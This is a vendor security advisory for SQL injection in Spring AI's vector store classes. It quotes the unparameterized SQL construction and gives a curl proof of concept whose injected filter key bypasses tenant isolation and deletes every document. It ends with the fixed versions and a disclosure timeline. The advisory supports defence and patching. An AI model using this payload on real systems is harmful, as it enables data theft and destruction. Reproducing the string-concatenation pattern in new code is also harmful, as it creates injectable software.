Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Spring AI SQL Injection in PgVectorStore and friends

High

Synopsis

PgVectorStore, OracleVectorStore, and CouchbaseSearchVectorStore concatenate filter expression output directly into SQL without parameterization, enabling tenant isolation bypass, data exfiltration, and deletion of arbitrary rows. The SQL concatenation is in the framework's store classes and converter's doKey() method - even the programmatic FilterExpressionBuilder API is vulnerable. 

 

// PgVectorStore.java (main branch) — same pattern in OracleVectorStore and CouchbaseSearchVectorStore

String sql =

  "DELETE FROM " + getFullyQualifiedTableName() +

  " WHERE metadata::jsonb @@ '" + nativeFilterExpression +

  "'::jsonpath";

this.jdbcTemplate.update(sql);

PgVectorFilterExpressionConverter.doKey() concatenates "$." + key.key() with no escaping. A single quote in the key terminates the SQL string literal. Additionally, emitJsonValue() does not escape single quotes (not special in JSON), so a single quote in a value also breaks the SQL.

The primary PoC achieves full tenant bypass and data destruction using only FilterExpressionBuilder - no string concatenation in application code. The vulnerability is in the framework's query construction, not in how the expression is built.

 

Proof of Concept

Start the database and application:

docker compose -f poc/docker-compose.yml -p sqli-poc up -d

cd poc/java-poc && ./mvnw spring-boot:run

Legitimate request (returns only acme's 2 documents):

$ curl 'http://localhost:8080/search?query=report&tenant=acme'

{"result_count"2"filter_key""tenant""filter_value""acme", ...}

Bypass tenant isolation (returns all 5 documents from all 3 tenants). The injected key closes the jsonpath string, adds OR true, then re-opens a valid jsonpath to absorb the trailing SQL:

$ curl -G http://localhost:8080/search \

  --data-urlencode "query=report" \

  --data-urlencode "key=tenant'::jsonpath OR true OR metadata::jsonb @@ '$.tenant" \

  --data-urlencode "tenant=x"

{"result_count"5, ...}

Delete all documents across all tenants:

$ curl -G http://localhost:8080/delete \

    --data-urlencode "key=tenant'::jsonpath OR true OR metadata::jsonb @@ '$.tenant" \

    --data-urlencode "tenant=x"

{"status""deleted""remaining_documents"0}

 

Solution

Upgrade to version 1.0.6 or 1.1.5 or later.

Disclosure Timeline

March 31, 2026: Tenable submits the issue via the GHSA security page. Tenable is unable to submit the PoC via private fork as requested, but submits PoC as a comment on the GHSA thread.
April 2, 2026: Spring replies that they have made some changes to the documentation for submitting vulnerabilities.
April 2, 2026: Tenable replies that the documentation updates seem different from our issues, and that all information about the vulnerability is available in the report.
April 2, 2026: Spring replies inquiring about the private forking error.
April 17, 2026: Spring closes the current issue, opens a new one, and mentions they will give us credit.
April 17, 2026: Tenable asks Spring to provide access to the new issue. Spring grants access.
April 20, 2026: Spring says they will publish advisory and patch on April 23rd.
April 27, 2026: Spring publishes.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]